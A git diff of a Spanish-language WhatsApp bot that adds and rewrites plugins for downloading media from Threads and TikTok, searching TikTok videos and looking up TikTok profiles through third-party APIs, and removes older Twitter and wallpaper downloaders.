+if (userRequests[m.sender]) return await conn.reply(m.chat, `⏳ Hey @${m.sender.split('@')[0]} pendejo, ya hay una solicitud en proceso. Por favor, espera a que termine antes de hacer otra`, userRequests[m.sender].message || m)
+const { key } = await conn.sendMessage(m.chat, {text: `⌛ 𝙀𝙨𝙥𝙚𝙧𝙚 ✋\n▰▰▰▱▱▱▱▱▱`}, {quoted: m});
+userRequests[m.sender] = { active: true, message: { key, chat: m.chat, fromMe: true } };
+await delay(1000);
+await conn.sendMessage(m.chat, {text: `⌛ 𝙀𝙨𝙥𝙚𝙧𝙚 ✋ \n▰▰▰▰▰▱▱▱▱`, edit: key});
+await delay(1000);
+await conn.sendMessage(m.chat, {text: `⌛ 𝙔𝙖 𝙘𝙖𝙨𝙞 🏃♂️💨\n▰▰▰▰▰▰▰▱▱`, edit: key});
+m.react(`⌛`)
+try {
+const res = await fetch(`https://api.agatz.xyz/api/threads?url=${args[0]}`);
+const data = await res.json()
+const downloadUrl = data.data.image_urls[0] || data.data.video_urls[0];
+const fileType = downloadUrl.includes('.webp') || downloadUrl.includes('.jpg') || downloadUrl.includes('.png') ? 'image' : 'video';
+if (fileType === 'image') {
+await conn.sendFile(m.chat, downloadUrl, 'threads_image.jpg', '_*Aquí tienes la imagen de Threads*_', m);
+m.react('✅');
+} else if (fileType === 'video') {
+await conn.sendFile(m.chat, downloadUrl, 'threads_video.mp4', '_*Aquí tienes el video de Threads*_', m);
+m.react('✅');
+}
+await conn.sendMessage(m.chat, {text: `✅ 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙖𝙙𝙤\n▰▰▰▰▰▰▰▰▰`, edit: key})
+} catch {
+try {
+const res2 = await fetch(`${info.apis}/download/threads?url=${args[0]}`);
+const data2 = await res2.json();
+if (data2.status === true && data2.data.length > 0) {
+const downloadUrl = data2.data[0].url;
+const fileType = data2.data[0].type;
+if (fileType === 'image') {
+await conn.sendFile(m.chat, downloadUrl, 'threads_image.jpg', '_*Aquí tienes la imagen de Threads*_', m);
+m.react('✅');
+} else if (fileType === 'video') {
+await conn.sendFile(m.chat, downloadUrl, 'threads_video.mp4', '_*Aquí tienes el video de Threads*_', m);
+m.react('✅');
+}}
+await conn.sendMessage(m.chat, {text: `✅ 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙖𝙙𝙤\n▰▰▰▰▰▰▰▰▰`, edit: key})
+} catch (e) {
+m.react(`❌`)
+await conn.sendMessage(m.chat, {text: `\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:* #report\n\n>>> ${e} <<<<`, edit: key})
+console.log(e)
+}} finally {
+delete userRequests[m.sender];
+}}
+handler.help = ['thread']
+handler.tags = ['downloader']
+handler.command = /^(thread|threads|threaddl)$/i;
+handler.register = true;
+handler.limit = 1
+
+export default handler
+
+const delay = time => new Promise(res => setTimeout(res, time))
\ No newline at end of file
diff --git a/plugins/descargas-tiktok.js b/plugins/descargas-tiktok.js
index 7c3a520ed..eef2ee07d 100644
--- a/plugins/descargas-tiktok.js
+++ b/plugins/descargas-tiktok.js
@@ -1,54 +1,91 @@
-import fg from 'api-dylux'
-import axios from 'axios'
-import cheerio from 'cheerio'
-import { tiktok } from "@xct007/frieren-scraper";
-let generateWAMessageFromContent = (await import(global.baileys)).default
-import { tiktokdl } from '@bochilteam/scraper'
-let handler = async (m, { conn, text, args, usedPrefix, command}) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!text) return conn.reply(m.chat, `*Que tiktok buscar?🤔*\n*Ingrese un enlace de tiktok para descarga el video*\n*Ejemplo:*\n*${usedPrefix + command} https://vm.tiktok.com/ZM2vfVP6k/*`, fkontak, m)
-if (!/(?:https:?\/{2})?(?:w{3}|vm|vt|t)?\.?tiktok.com\/([^\s&]+)/gi.test(text)) return conn.reply(m.chat, `*EL ENLACE DEL TIKTOK ES INCORRECTO*`, fkontak, m)
-const { key } = await conn.sendMessage(m.chat, {text: `⌛ _𝘾𝙖𝙧𝙜𝙖𝙙𝙤..._\n▰▰▰▱▱▱▱▱▱\n𝙀𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙨𝙚𝙜𝙪𝙣𝙙𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 🔰`}, {quoted: fkontak});
-await delay(1000 * 1);
-await conn.sendMessage(m.chat, {text: `⌛ _𝘾𝙖𝙧𝙜𝙖𝙙𝙤..._\n▰▰▰▰▰▱▱▱▱\n𝙀𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙨𝙚𝙜𝙪𝙣𝙙𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 🔰`, edit: key});
-await delay(1000 * 1);
-await conn.sendMessage(m.chat, {text: `⌛ _𝘾𝙖𝙧𝙜𝙖𝙙𝙤..._\n▰▰▰▰▰▰▰▱▱\n𝙀𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙨𝙚𝙜𝙪𝙣𝙙𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 🔰`, edit: key});
-await conn.sendMessage(m.chat, {text: `⌛ _𝘾𝙖𝙧𝙜𝙖𝙙𝙤..._\n▰▰▰▰▰▰▰▰▰\n𝙀𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙨𝙚𝙜𝙪𝙣𝙙𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 🔰`, edit: key});
-//await conn.reply(m.chat, `⌛ _𝘾𝙖𝙧𝙜𝙖𝙙𝙤..._\n▰▰▰▱▱▱▱▱▱\n𝙀𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙨𝙚𝙜𝙪𝙣𝙙𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 🔰`, fkontak, m)
-try {
-const dataF = await tiktok.v1(args[0])
-conn.sendFile(m.chat, dataF.play, 'tiktok.mp4', `*Aqui tiene 🔰*`.trim(), m)
-} catch (e1) {
+import fg from 'api-dylux';
+import axios from 'axios';
+import fetch from 'node-fetch';
+import cheerio from 'cheerio';
+const userRequests = {};
+
+const handler = async (m, { conn, text, args, usedPrefix, command }) => {
+if (!text) return m.reply( `⚠️ *Que tiktok buscar? 🤔*\n\n⚡ *Ingrese un enlace de tiktok para descarga el video*\n*Ej:* ${usedPrefix + command} https://vm.tiktok.com/ZM6T4X1RY/`)
+if (!/(?:https:?\/{2})?(?:w{3}|vm|vt|t)?\.?tiktok.com\/([^\s&]+)/gi.test(text)) return m.reply(`❌ Error`)
+if (userRequests[m.sender]) return await conn.reply(m.chat, `Oye @${m.sender.split('@')[0]}, calma bro, ya estás descargando algo 😒\n> Espera a que termine tu solicitud actual antes de hacer otra...`, m)
+userRequests[m.sender] = true;
+const { key } = await conn.sendMessage(m.chat, { text: `⌛ 𝙀𝙨𝙥𝙚𝙧𝙚 ✋\n▰▰▰▱▱▱▱▱▱\n𝙔𝙖 𝙚𝙨𝙩𝙤𝙮 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙙𝙤... 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚𝙡 𝙏𝙞𝙠𝙏𝙤𝙠 🔰` }, { quoted: m });
+await delay(1000);
+await conn.sendMessage(m.chat, { text: `⌛ 𝙀𝙨𝙥𝙚𝙧𝙚 ✋ \n▰▰▰▰▰▱▱▱▱\n𝙔𝙖 𝙚𝙨𝙩𝙤𝙮 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙙𝙤... 𝙨𝙪𝙨 𝙫𝙞𝙙𝙚𝙤 𝙙𝙚𝙡 𝙏𝙞𝙠𝙏𝙤𝙠 🔰`, edit: key });
+await delay(1000);
+await conn.sendMessage(m.chat, { text: `⌛ 𝙔𝙖 𝙘𝙖𝙨𝙞 🏃♂️💨\n▰▰▰▰▰▰▰▱▱`, edit: key });
try {
-const tTiktok = await tiktokdlF(args[0])
-conn.sendFile(m.chat, tTiktok.video, 'tiktok.mp4', `*Aqui tiene 🔰*`.trim(), m)
-} catch (e2) {
+const downloadAttempts = [async () => {
+const tTiktok = await tiktokdlF(args[0]);
+return tTiktok.video;
+},
+async () => {
+ const { data } = await axios.get(`https://api.delirius.store/download/tiktok?url=${args[0]}`);
+ const video = data?.data?.meta?.media?.find(m => m.type === 'video');
+ return video?.org || video?.hd || video?.wm;
+},
+async () => {
+const response = await axios.get(`https://api.dorratz.com/v2/tiktok-dl?url=${args[0]}`);
+return response.data.data.media.org;
+},
+async () => {
+const p = await fg.tiktok(args[0]);
+return p.nowm;
+}];
+
+let videoUrl = null;
+for (const attempt of downloadAttempts) {
try {
-let p = await fg.tiktok(args[0])
-conn.sendFile(m.chat, p.nowm, 'tiktok.mp4', `*Aqui tiene 🔰*`.trim(), m)
-} catch (e3) {
-try {
-const { author: { nickname }, video, description } = await tiktokdl(args[0])
-const url = video.no_watermark2 || video.no_watermark || 'https://tikcdn.net' + video.no_watermark_raw || video.no_watermark_hd
-conn.sendFile(m.chat, url, 'tiktok.mp4', `*Aqui tiene 🔰*`.trim(), m)
-} catch {
-handler.limit = 0
-}}}}}
-handler.help = ['tiktok']
-handler.tags = ['dl']
-handler.command = /^(tt|tiktok)(dl|nowm)?$/i
-handler.limit = 1
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
+videoUrl = await attempt();
+if (videoUrl) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue; // Si falla, intentar con la siguiente API
+}}
+
+if (!videoUrl) throw new Error('No se pudo descargar el video desde ninguna API');
+await conn.sendFile(m.chat, videoUrl, 'tt.mp4', '*🔰 Aqui esta tu video de tiktok*', m);
+//conn.sendMessage(m.chat, {video: { url: videoUrl }, caption: `*🔰 Aqui esta tu video de tiktok*` }, { quoted: m });
+await conn.sendMessage(m.chat, { text: `✅ 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙖𝙙𝙤\n▰▰▰▰▰▰▰▰▰`, edit: key });
+} catch (e) {
+console.log(e);
+m.react(`❌`);
+handler.limit = false;
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['tiktok'];
+handler.tags = ['downloader'];
+handler.command = /^(tt|tiktok)(dl|nowm)?$/i;
+handler.limit = 1;
+
+export default handler;
+
+const delay = time => new Promise(res => setTimeout(res, time));
async function tiktokdlF(url) {
-if (!/tiktok/.test(url)) return 'Enlace incorrecto';
-const gettoken = await axios.get("https://tikdown.org/id");
-const $ = cheerio.load(gettoken.data);
-const token = $("#download-form > input[type=hidden]:nth-child(2)").attr( "value" );
-const param = { url: url, _token: token };
-const { data } = await axios.request("https://tikdown.org/getAjax?", { method: "post", data: new URLSearchParams(Object.entries(param)), headers: { "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "user-agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" }, });
-var getdata = cheerio.load(data.html);
-if (data.status) {
-return { status: true, thumbnail: getdata("img").attr("src"), video: getdata("div.download-links > div:nth-child(1) > a").attr("href"), audio: getdata("div.download-links > div:nth-child(2) > a").attr("href"), }} else
-return { status: false }}
+ if (!/tiktok/.test(url)) throw new Error(`*• Ejemplo:* _${usedPrefix + command} https://vm.tiktok.com/ZM686Q4ER/_`);
+ const gettoken = await axios.get('https://tikdown.org/id');
+ const $ = cheerio.load(gettoken.data);
+ const token = $('#download-form > input[type=hidden]:nth-child(2)').attr('value');
+ const param = { url: url, _token: token };
+ const { data } = await axios.request('https://tikdown.org/getAjax?', {
+ method: 'post',
+ data: new URLSearchParams(Object.entries(param)),
+ headers: {
+ 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
+ 'user-agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36'
+ }
+ });
+ const getdata = cheerio.load(data.html);
+ if (data.status) {
+ return {
+ status: true,
+ thumbnail: getdata('img').attr('src'),
+ video: getdata('div.download-links > div:nth-child(1) > a').attr('href'),
+ audio: getdata('div.download-links > div:nth-child(2) > a').attr('href')
+ };
+ } else {
+ return { status: false };
+ }
+}
\ No newline at end of file
diff --git a/plugins/descargas-tiktoksearch.js b/plugins/descargas-tiktoksearch.js
new file mode 100644
index 000000000..00af33d62
--- /dev/null
+++ b/plugins/descargas-tiktoksearch.js
@@ -0,0 +1,37 @@
+import axios from 'axios';
+const userRequests = {};
+
+let handler = async (m, { conn, usedPrefix, command, text }) => {
+if (!text) throw `*⚠️ Ingresa el nombre del video que buscas*\nEjemplo: ${usedPrefix + command} emilia_mernes`
+if (userRequests[m.sender]) return m.reply(`⏳ *Espera...* Ya hay una solicitud en proceso. Por favor, espera a que termine antes de hacer otra.`)
+userRequests[m.sender] = true;
+m.react("⏳")
+try {
+let { data: response } = await axios.get(`${info.apis}/search/tiktoksearch?query=${text}`);
+if (!response || !response.meta || !Array.isArray(response.meta) || response.meta.length === 0) return m.reply(`❌ No se encontraron resultados para "${text}".`);
+let searchResults = response.meta;
+shuffleArray(searchResults);
+let selectedResults = searchResults.slice(0, 5);
+const medias = selectedResults.map(result => ({type: "video", data: { url: result.hd }}));
+await conn.sendAlbumMessage(m.chat, medias, `✅ Resultados para: ${text}`, m);
+m.react("✅️");
+} catch (error) {
+m.react("❌️")
+console.error(error);
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['tiktoksearch '];
+handler.tags = ['downloader'];
+handler.command = ['tiktoksearch', 'ttsearch'];
+handler.register = true;
+handler.limit = 4;
+
+export default handler;
+
+function shuffleArray(array) {
+ for (let i = array.length - 1; i > 0; i--) {
+ const j = Math.floor(Math.random() * (i + 1));
+ [array[i], array[j]] = [array[j], array[i]];
+ }
+ }
\ No newline at end of file
diff --git a/plugins/descargas-tiktokstalk.js b/plugins/descargas-tiktokstalk.js
index 037480cd6..57a964251 100644
--- a/plugins/descargas-tiktokstalk.js
+++ b/plugins/descargas-tiktokstalk.js
@@ -1,40 +1,48 @@
-import fetch from 'node-fetch'
-let handler = async(m, { conn, text, command, usedPrefix }) => {
-if (!text) return conn.reply(m.chat, `𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚 𝙙𝙚 𝙪𝙨𝙪𝙖𝙧𝙞𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠 𝙨𝙞𝙣 𝙪𝙨𝙖𝙧 "@"\n𝙀𝙟𝙚𝙢𝙥𝙡𝙤\n*${usedPrefix + command} emiliamernes*`, m)
+import fg from 'api-dylux'
+let handler = async (m, { conn, text, args }) => {
+if (!text) return m.reply(`✳️ Ingrese el Username de un usuario de TikTok`)
+m.react("⌛");
try {
-let res = await fetch(`https://api.lolhuman.xyz/api/stalktiktok/${text}?apikey=9b817532fadff8fc7cb86862`)
-let res2 = `https://api.lolhuman.xyz/api/pptiktok/${text}?apikey=9b817532fadff8fc7cb86862`
-let json = await res.json()
-if (res.status !== 200) throw await res.text()
-if (!json.status) throw json
-let thumb = await (await fetch(json.result.user_picture)).buffer()
-let gata = `👤 𝙐𝙨𝙪𝙖𝙧𝙞𝙤
-${json.result.username}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✨ 𝙉𝙤𝙢𝙗𝙧𝙚
-${json.result.nickname}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙎𝙚𝙜𝙪𝙞𝙙𝙤𝙧𝙚𝙨
-${json.result.followers}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-❇️ 𝙎𝙚𝙜𝙪𝙞𝙙𝙤𝙨
-${json.result.followings}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-❤️ 𝙈𝙚 𝙜𝙪𝙨𝙩𝙖
-${json.result.likes}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-🎁 𝙋𝙪𝙗𝙡𝙞𝙘𝙖𝙘𝙞𝙤́𝙣𝙚𝙨
-${json.result.video}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-👀 𝘿𝙚𝙨𝙘𝙧𝙞𝙥𝙘𝙞𝙤́𝙣
-${json.result.bio}
-`.trim()
-await conn.sendFile(m.chat, res2, 'error.jpg', gata, m, false)
+const apiUrl = `${info.apis}/tools/tiktokstalk?q=${encodeURIComponent(args[0])}`;
+const apiResponse = await fetch(apiUrl);
+const delius = await apiResponse.json();
+if (!delius || !delius.result || !delius.result.users) return m.react("❌");
+const profile = delius.result.users;
+const stats = delius.result.stats;
+const txt = `👤 *Perfil de TikTok*:
+*• Nombre de usuario*: ${profile.username}
+*• Nickname*: ${profile.nickname}
+*• Verificado*: ${profile.verified ? 'Sí' : 'No'}
+*• Seguidores*: ${stats.followerCount.toLocaleString()}
+*• Seguidos*: ${stats.followingCount.toLocaleString()}
+*• Likes Totales*: ${stats.heartCount.toLocaleString()}
+*• Videos*: ${stats.videoCount.toLocaleString()}
+*• Firma*: ${profile.signature}
+*• URL*:
+${profile.url}`;
+
+await conn.sendFile(m.chat, profile.avatarLarger, 'tt.png', txt, m);
+m.react("✅");
+} catch (e2) {
+try {
+ let res = await fg.ttStalk(args[0])
+ let txt = `👤 *Perfil de TikTok*:
+*• Nombre:* ${res.name}
+*• Username:* ${res.username}
+*• Seguidores:* ${res.followers}
+*• Siguiendo:* ${res.following}
+*• Desc:* ${res.desc}
+*• Link* : https://tiktok.com/${res.username}`
+await conn.sendFile(m.chat, res.profile, 'tt.png', txt, m)
+m.react("✅");
} catch (e) {
-throw `${lenguajeGB['smsAvisoFG']()}𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙊𝙉𝙏𝙍𝙊 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙎𝙐𝘼𝙍𝙄𝙊.`
-}}
-handler.help = ['tiktokstalk'].map(v => v + ' ')
-handler.tags = ['stalk']
-handler.command = /^(tiktokstalk|ttstalk)$/i
-handler.exp = 48
+await m.react(`❌`)
+m.reply(`\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:*#report\n\n>>> ${e} <<<< `)
+console.log(e)
+}}}
+handler.help = ['tiktokstalk']
+handler.tags = ['downloader']
+handler.command = /^t(tstalk|iktokstalk)$/i
+handler.register = true
+handler.limit = 1
export default handler
diff --git a/plugins/descargas-tw.js b/plugins/descargas-tw.js
deleted file mode 100644
index c72bd544e..000000000
--- a/plugins/descargas-tw.js
+++ /dev/null
@@ -1,153 +0,0 @@
-import fetch from 'node-fetch';
-import axios from 'axios';
-import cheerio from 'cheerio';
-import vm from 'node:vm';
-import qs from 'qs';
-const handler = async (m, {conn, text, args, usedPrefix, command}) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
- }
-
-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙏𝙒𝙄𝙏𝙏𝙀𝙍 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙎𝙐 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://twitter.com/Animalesybichos/status/1564616107159330816?t=gKqUsstvflSp7Dhpe_nmDg&s=19*`
- try {
- const resFG = await twitter(text);
- const { key } = await conn.sendMessage(m.chat, {text: wait}, {quoted: fkontak});
-await delay(1000 * 1);
-await conn.sendMessage(m.chat, {text: waitt, edit: key});
-await delay(1000 * 1);
-await conn.sendMessage(m.chat, {text: waittt, edit: key});
-await delay(1000 * 1);
-await conn.sendMessage(m.chat, {text: waitttt, edit: key});
- const captionFG = `✨ 𝘾𝘼𝙇𝙄𝘿𝘼𝘿 *» ${quality}*\n${wm}`
- await conn.sendFile(m.chat, resFG[0].url, 'error.mp4', captionFG, m);
- } catch {
- console.log('error')
- try {
- const res = await twitterDl(text);
- for (let x = 0; x < res.media.length; x++) {
- const caption = x === 0 ? res.caption.replace(/https:\/\/t.co\/[a-zA-Z0-9]+/gi, '').trim() : `✨ 𝘾𝘼𝙇𝙄𝘿𝘼𝘿 » ${quality}*\n${wm}`
- await conn.sendFile(m.chat, res.media[x].url, 'error.mp4', caption, m);
- }
- } catch {
- try {
- const AA = await savefrom(text);
- await conn.sendFile(m.chat, AA.url[0].url, 'error.mp4', `*✨ 𝘾𝘼𝙇𝙄𝘿𝘼𝘿 *:* ${quality}*\n${wm}`, m);
- } catch {
- conn.sendMessage(m.chat, {text: `${lenguajeGB['smsAvisoFG']()} 𝙀𝙍𝙍𝙊𝙍 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙑𝙐𝙀𝙇𝙑𝘼 𝘼 𝙄𝙉𝙏𝙀𝙉𝙏𝘼`, edit: key});
- handler.limit = false
- }
- }
- }
-};
-handler.help = ['twitter'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = /^((tw|twitter)(dl)?)$/i
-handler.limit = 4
-handler.level = 6
-handler.register = true
-handler.exp = 70
-export default handler;
-const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
-
-async function twitterDl(url) {
- const id = /twitter\.com\/[^/]+\/status\/(\d+)/.exec(url)?.[1];
- const res = await fetch(`https://tweetpik.com/api/tweets/${id}`);
- if (res.status !== 200) throw res.statusText;
- const json = await res.json();
- if (json.media) {
- const media = [];
- for (const i of json.media) {
- if (/video|animated_gif/.test(i.type)) {
- let vid = await (await fetch(`https://tweetpik.com/api/tweets/${id}/video`)).json();
- vid = vid.variants.pop();
- media.push({url: vid.url, type: i.type});
- } else {
- media.push({url: i.url, type: i.type});
- }
- }
- return {
- caption: json.text, media,
- };
- }
-}
-async function savefrom(urlL) {
- const body = new URLSearchParams({'sf_url': encodeURI(urlL), 'sf_submit': '', 'new': 2, 'lang': 'id', 'app': '', 'country': 'id', 'os': 'Windows', 'browser': 'Chrome', 'channel': ' main', 'sf-nomad': 1});
- let {data} = await axios({'url': 'https://worker.sf-tools.com/savefrom.php', 'method': 'POST', 'data': body, 'headers': {'content-type': 'application/x-www-form-urlencoded', 'origin': 'https://id.savefrom.net', 'referer': 'https://id.savefrom.net/', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36'}});
- const exec = '[]["filter"]["constructor"](b).call(a);';
- data = data.replace(exec, `\ntry {\ni++;\nif (i === 2) scriptResult = ${exec.split('.call')[0]}.toString();\nelse (\n${exec.replace(/;/, '')}\n);\n} catch {}`);
- const context = {'scriptResult': '', 'i': 0};
- vm.createContext(context);
- new vm.Script(data).runInContext(context);
- return JSON.parse(context.scriptResult.split('window.parent.sf.videoResult.show(')?.[1].split(');')?.[0]);
-}
-async function twitter(url) {
- let payload = { url, submit: '' }
- let res = await fetch('https://www.expertsphp.com/instagram-reels-downloader.php', {
- method: 'POST',
- body: new URLSearchParams(Object.entries(payload)),
- headers: {
- 'content-type': 'application/x-www-form-urlencoded',
- cookie: '_ga=GA1.2.783835709.1637038175; __gads=ID=5b4991618655cd86-22e2c7aeadce00ae:T=1637038176:RT=1637038176:S=ALNI_MaCe3McPrVVswzBEqcQlgnVZXtZ1g; _gid=GA1.2.1817576486.1639614645; _gat_gtag_UA_120752274_1=1',
- origin: 'https://www.expertsphp.com',
- referer: 'https://www.expertsphp.com/twitter-video-downloader.html',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
- }})
- let $ = cheerio.load(await res.text())
- let results = []
- $('table.table > tbody > tr').each(function () {
- let quality = $(this).find('td').eq(2).find('strong').text()
- let type = $(this).find('td').eq(1).find('strong').text()
- let url = $(this).find('td').eq(0).find('a[href]').attr('href')
- let isVideo = /video/i.test(type)
- results.push({ quality, type, url, isVideo })
- })
- return results
-}
-
-/*import { twitterdl } from '@bochilteam/scraper'
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
- }
-
-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙏𝙒𝙄𝙏𝙏𝙀𝙍 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙎𝙐 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://twitter.com/Animalesybichos/status/1564616107159330816?t=gKqUsstvflSp7Dhpe_nmDg&s=19*\n\n𝙀𝙉𝙏𝙀𝙍 𝘼 𝙏𝙒𝙄𝙏𝙏𝙀𝙍 𝙇𝙄𝙉𝙆 𝙏𝙊 𝘿𝙊𝙒𝙉𝙇𝙊𝘼𝘿 𝙔𝙊𝙐𝙍 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n*${usedPrefix + command} https://twitter.com/Animalesybichos/status/1564616107159330816?t=gKqUsstvflSp7Dhpe_nmDg&s=19*`
-let res = await twitterdlv2(args[0])
-const { url, quality, type } = res[1]
-
-await conn.reply(m.chat, wait, fkontak, m)
-await conn.reply(m.chat, waitt, fkontak, m)
-await conn.reply(m.chat, waittt, fkontak, m)
-await conn.reply(m.chat, waitttt, fkontak, m)
-await conn.sendFile(m.chat, url, 'twitter' + (type == 'image' ? '.jpg' : '.mp4'), `✨ 𝘾𝘼𝙇𝙄𝘿𝘼𝘿 *:* 𝙌𝙐𝘼𝙇𝙄𝙏𝙔 *» ${quality}*\n${wm}`, m)
-}
-handler.help = ['twitter'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = /^((tw|twitter)(dl)?)$/i
-handler.limit = 2
-handler.level = 3
-handler.register = true
-handler.exp = 70
-
-export default handler*/
diff --git a/plugins/descargas-wallpaper.js b/plugins/descargas-wallpaper.js
deleted file mode 100644
index 50849c46f..000000000
--- a/plugins/descargas-wallpaper.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import { wallpaper } from '@bochilteam/scraper'
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-if (!text) throw `${lenguajeGB['smsAvisoMG']()}𝘿𝙀𝘽𝙀 𝙀𝙎𝘾𝙍𝙄𝘽𝙄𝙍 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} Gata*`
-const res = await (/2/.test(command) ? wallpaperv2 : wallpaper)(text)
-const img = res[Math.floor(Math.random() * res.length)]
-let link = img
-conn.sendFile(m.chat, img, 'error.jpg', `*💞 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤 ${text}*\n${wm}`, m)
